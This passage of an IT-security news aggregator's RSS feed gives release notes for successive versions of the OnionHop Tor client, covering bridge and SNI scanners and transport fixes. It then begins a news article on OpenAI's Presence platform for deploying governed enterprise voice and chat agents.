<title><![CDATA[OnionHop 3.6.2]]></title>
<description><![CDATA[Scanner improvements from testing feedback.
Added

Bridge scanner: "Load bridges" — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).
"Import file" on both the bridge scanner and th...]]></description>
<link>https://tsecurity.de/de/3687277/it-security-tools/onionhop-362/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687277/it-security-tools/onionhop-362/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:17 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Scanner improvements from testing feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>Bridge scanner: "Load bridges"</strong> — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).</li>
<li><strong>"Import file"</strong> on both the bridge scanner and the SNI scanner — load bridge lines / candidate domains from a <code>.txt</code>/<code>.csv</code> file.</li>
<li><strong>Saved-bridges library: ping badge</strong> — each saved entry's latency now shows as a green (or amber, when slow) "✔ ms" badge instead of a plain number.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.2.exe</code> / <code>OnionHopCLI-Portable-3.6.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.3]]></title>
<description><![CDATA[Adds an easier way to use the SNI scanner, and restores the full macOS build.
Added

SNI scanner: "Load candidates" - one click fills the box with a built-in starter list of common CDN/front domains (Cloudflare, Fastly, Google, Microsoft, Apple, jsDelivr, Wikipedia, and more), so you have somethi...]]></description>
<link>https://tsecurity.de/de/3687276/it-security-tools/onionhop-363/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687276/it-security-tools/onionhop-363/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:15 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adds an easier way to use the SNI scanner, and restores the full macOS build.</p>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner: "Load candidates"</strong> - one click fills the box with a built-in starter list of common CDN/front domains (Cloudflare, Fastly, Google, Microsoft, Apple, jsDelivr, Wikipedia, and more), so you have something to scan without needing to know which domains to try. Then press Start Scan; the green rows are the SNI hosts that work on your network. You can still edit the list, import your own, or paste more.</li>
</ul>
<h3>Note</h3>
<p>macOS builds are back - v3.6.2's Mac assets were held up by a pending Apple developer agreement, now resolved. This release ships the complete set for all platforms.</p>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.3.exe</code> / <code>OnionHopCLI-Portable-3.6.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7]]></title>
<description><![CDATA[Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.
Fixed

Snowflake starting again on censored networks (#71). Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever th...]]></description>
<link>https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687275/it-security-tools/onionhop-37/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:14 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Snowflake starting again on censored networks (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840691314" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/71" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/71/hovercard" href="https://github.com/center2055/OnionHop/issues/71">#71</a>).</strong> Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever the AMP-cache rendezvous was enabled. The AMP cache was being passed as a <code>-ampcache</code> command-line flag, which the bundled Snowflake binary (lyrebird) rejects, so it exited immediately. It is now set as an <code>ampcache=</code> parameter on the Snowflake bridge line, which lyrebird reads. This mainly affected networks where Smart Connect forces Snowflake AMP (for example Iran).</li>
</ul>
<h3>Added</h3>
<ul>
<li><strong>SNI scanner compact layout.</strong> The SNI scanner now matches the bridge scanner: a "Custom list" toggle keeps the candidate-domain box collapsed until you turn it on or load, import, or request a list, so the controls take less room.</li>
<li><strong>Request SNI (per-country lists).</strong> Working SNI hosts are country-specific, so the SNI scanner gained a "Request SNI" button that fetches a candidate list for your country from the OnionHop SNI-lists source and loads it for scanning. A country picker appears when the source is reachable.</li>
<li><strong>Export Working.</strong> The SNI scanner can now save the working SNI hosts to a text file.</li>
<li><strong>About page release links.</strong> Each release in the changelog history now has a "View on GitHub" link that opens that release's page, and the sources section lists the new OnionHop SNI Lists source.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.exe</code> / <code>OnionHopCLI-Portable-3.7-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.1]]></title>
<description><![CDATA[Adds a Copy button to saved bridges and SNI hosts, so you can rescan them without applying first.
Added

Copy button in the saved library. Each entry in Scanner > Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste...]]></description>
<link>https://tsecurity.de/de/3687274/it-security-tools/onionhop-371/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687274/it-security-tools/onionhop-371/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adds a Copy button to saved bridges and SNI hosts, so you can rescan them without applying first.</p>
<h3>Added</h3>
<ul>
<li><strong>Copy button in the saved library.</strong> Each entry in Scanner &gt; Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste it into the bridge scanner or SNI scanner and rescan it directly. Previously you had to Apply an entry and copy it from another tab before you could rescan it.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.1.exe</code> / <code>OnionHopCLI-Portable-3.7.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.2]]></title>
<description><![CDATA[Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.
Fixed

Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) inst...]]></description>
<link>https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687273/it-security-tools/onionhop-372/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:10 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Bridge scanner verifies webtunnel for real.</strong> The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
<li><strong>Transport start failures now say why.</strong> When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.2.exe</code> / <code>OnionHopCLI-Portable-3.7.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.3]]></title>
<description><![CDATA[A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.
Fixed

Clearer log when the transport can't reach reachable bridges. If a bridged connect fails after the reachability scan found bridges reachable but the transp...]]></description>
<link>https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:09 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Clearer log when the transport can't reach reachable bridges.</strong> If a bridged connect fails after the reachability scan found bridges reachable but the transport could not connect to any of them, the log now names the likely cause: a firewall or security tool blocking OnionHop's transport helper (lyrebird / webtunnel-client), or bridges that are dead at the protocol layer. Previously this appeared only as an unexplained wall of "general SOCKS server failure" (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.3.exe</code> / <code>OnionHopCLI-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.4]]></title>
<description><![CDATA[Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.
Fixed

Transport helpers now run from a stable path, so firewalls can allow them (#74). On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app...]]></description>
<link>https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687271/it-security-tools/onionhop-374/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:08 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fixes bridges being silently blocked by per-app firewalls like Little Snitch on macOS.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Transport helpers now run from a stable path, so firewalls can allow them (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</strong> On macOS and Linux, the bridge transport helpers (lyrebird / webtunnel-client) ran from the system temp directory. Per-app firewalls like Little Snitch identify a process by its executable path, so a helper in a periodically-purged temp folder never got a durable allow rule and could be silently denied without ever prompting - every bridge then failed with "general SOCKS server failure" even with an "allow all" rule for OnionHop itself. The helpers now run from a stable per-user location (<code>~/Library/Caches/onionhop-pt</code> on macOS, <code>~/.cache/onionhop-pt</code> on Linux), so the firewall can prompt once and remember the answer, the same way it does for Tor Browser's bundled lyrebird. The stale-transport cleanup at connect time now also covers helpers running from that directory.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.4.exe</code> / <code>OnionHopCLI-Portable-3.7.4-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.4-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.4-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.4-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.5]]></title>
<description><![CDATA[Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.
Fixed

obfs4 bridges are now verified with a real handshake before connecting. The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got...]]></description>
<link>https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687270/it-security-tools/onionhop-375/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:06 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Quieter, faster obfs4 connects, and fixes browsing in TUN/VPN mode when a stale proxy was left behind.</p>
<h3>Fixed</h3>
<ul>
<li><strong>obfs4 bridges are now verified with a real handshake before connecting.</strong> The pre-connect scan used to only TCP-test obfs4, so bridges that were dead or blocked at the obfs4 layer still got handed to Tor, producing a wall of "general SOCKS server failure" warnings and a long pause before it connected. The app now drives the bundled obfs4 client to complete the actual handshake and drops the ones that fail, so connecting is faster and the log is far quieter (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>). If the check cannot run or nearly everything fails (for example the whole set is blocked from your network), it safely falls back to the previous behavior.</li>
<li><strong>Fixed "connected but no websites load" in TUN/VPN mode on Windows</strong> (browser showed ERR_PROXY_CONNECTION_FAILED). If an earlier session had crashed or been force-closed while the system proxy was applied, Windows kept that proxy enabled, pointing browsers at a port from that dead session; TUN mode never corrected it. The app now clears a leftover proxy that matches its own format at connect time, and in TUN mode it logs a clear note if some other system proxy is enabled. Third-party proxy settings are never touched.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.5.exe</code> / <code>OnionHopCLI-Portable-3.7.5-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.5-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.5-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.5-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI unveils Presence, a new platform that lets enterprises launch and manage realtime voice agents and chatbots]]></title>
<description><![CDATA[OpenAI has announced Presence, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and e...]]></description>
<link>https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686972/it-nachrichten/openai-unveils-presence-a-new-platform-that-lets-enterprises-launch-and-manage-realtime-voice-agents-and-chatbots/</guid>
<pubDate>Wed, 22 Jul 2026 18:12:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI has <a href="https://openai.com/index/introducing-openai-presence/">announced Presence</a>, a new enterprise product for deploying and managing AI agents across customer-facing and internal business workflows. </p><p>The offering is designed for eligible enterprise customers that want agents to answer questions, access company systems, take approved actions and escalate to human workers while operating under company-defined policies, permissions and evaluation standards.</p><p>Presence is available immediately through a limited general availability program. OpenAI Forward Deployed Engineers (FDEs) and select global systems integrators lead deployments, and the product is not available on a self-service basis. </p><p>OpenAI has not disclosed pricing, geographic limits, contractual terms or the expected cost of the engineering and integration work that accompanies a deployment. The company also has not said whether Presence can use models from providers other than OpenAI, including the increasingly powerful and popular Chinese open weights alternatives like <a href="https://venturebeat.com/technology/z-ais-open-weights-glm-5-2-beats-gpt-5-5-on-multiple-long-horizon-coding-benchmarks-for-1-6th-the-cost">GLM-5.2</a> and <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>. I've asked an OpenAI contact to clarify both pricing and external-model compatibility, but those remain unanswered questions for now. I'lll update when I hear back.</p><p>OpenAI positions Presence as a response to a problem that has become more important as companies move beyond AI demonstrations: getting agents to behave reliably in production as business rules, customer needs and operating conditions change. Presence packages the policies, system connections, evaluations, guardrails and update processes required to run agents inside an enterprise.</p><p>If your business has been interested in using AI agents, but you aren't sure how to stitch together OpenAI's models, APIs, internal systems, security controls and evaluation tools into something reliable, Presence is designed to simplify that process. Instead of building the infrastructure yourself, you work with OpenAI and its deployment engineers to put production-ready agents into your existing workflows.</p><p>The product is available today for real-time voice and chat experiences, according to OpenAI’s formal announcement. The company’s outreach materials also describe a broader ambition spanning voice, chat, email and other channels, but OpenAI has not confirmed that email support is available at launch.</p><h2><b>A governed foundation for production agents</b></h2><p>Presence brings together company knowledge, standard operating procedures, approved actions, simulations, evaluation tools, guardrails and escalation rules. Enterprises can reuse some controls across deployments while adjusting others for a particular workflow or channel.</p><p>Each deployment starts with a defined job, such as resolving a billing issue, supporting an insurance claim or handling an employee IT request. The agent receives only the information and system access required for that task. The customer determines what the agent may do independently, which actions require approval and when a person must take over.</p><p>Before an agent reaches production, teams can test it against common requests, unusual edge cases and higher-risk scenarios. Graders evaluate whether it reached the intended outcome, followed policy, used tools correctly and escalated when required. Guardrails can intervene when an interaction moves outside the organization’s defined boundaries.</p><p>OpenAI shared promotional screenshots with VentureBeat showing administrators running simulation batches against policy changes, including a revised annual refund policy, and reviewing results across operational categories. </p><p>Other interface mockups display production health, customer-intent patterns and task-performance signals. The visuals illustrate the type of oversight OpenAI is promising, although they do not establish how those metrics are calculated or how they map to contractual service levels.</p><p>The product continues to monitor performance after launch. Production sessions, escalations and quality signals can reveal where an agent is working as intended and where it needs attention. Codex, using a Presence plugin, investigates those signals and proposes updates. Teams then test a proposed change against the version already in production before approving a controlled rollout.</p><p>That process is intended to address one of the hardest operational problems in enterprise AI: an agent that works at launch may become less reliable when policies, products or user behavior change. Presence gives companies a formal mechanism for updating behavior without allowing an automated system to rewrite itself unchecked.</p><p>OpenAI says Presence already powers its English-language phone-support channel at 1-888-GPT-0090. The system handles open-ended requests, verifies callers, uses account context and performs approved actions. According to the company, it now resolves <b>75% of inbound issues without human assistance</b>. </p><p>OpenAI also says its Codex-powered improvement loop reduced human handoffs by <b>15 percentage points over a 10-day period</b>. Those figures are company-reported and have not been independently verified.</p><p>Several large organizations are evaluating the same foundation. BBVA is exploring voice support for routine banking needs in Mexico. SoftBank is testing natural Japanese-language customer conversations, while Australian insurer IAG is exploring support during high-demand periods such as severe weather and natural disasters.</p><p>“At BBVA, we are working closely with OpenAI to explore how trusted customer agents can help shape the future of financial services,” said Daniel Ordaz, head of AI transformation at BBVA Mexico.</p><p>“Through our collaboration with OpenAI, we are exploring how Presence can enable trusted customer agents that communicate naturally, connect to the processes needed to resolve requests, and represent SoftBank consistently across customer interactions,” said Tadahisa Murakami, vice president and head of the Data &amp; Digital Transformation Division at SoftBank Corp.</p><h2><b>From model access to forward-deployed implementation</b></h2><p>Presence expands OpenAI’s enterprise strategy beyond APIs and subscription software by formalizing a high-touch deployment model. Forward Deployed Engineers work alongside customers to select workflows, connect internal systems, establish permissions, configure policies, test agents and move them into production.</p><p>That approach resembles a <a href="https://fde.academy/blog/how-palantir-invented-the-forward-deployed-engineer-model">model pioneered by AI ontology and intelligence platform Palantir,</a> which embeds FDEs with customers to adapt its proprietary software to complex government and commercial environments. The similarity lies less in the underlying technology than in the delivery method: both companies place technical personnel close to the customer’s operations, where integration and process design often determine whether software creates value.</p><p>The products are not interchangeable. Palantir’s model has historically centered on data integration, ontologies and operational decision systems. Presence is more narrowly focused on AI-agent behavior, approved actions, evaluations, escalation and continuous improvement. OpenAI presents it as a repeatable software product supported by engineers and systems integrators, rather than as consulting alone.</p><p>In May 2026, OpenAI launched its own enterprise AI consulting and integration firm, the <a href="https://openai.com/index/openai-launches-the-deployment-company/">OpenAI Deployment Company</a>, with investment and <a 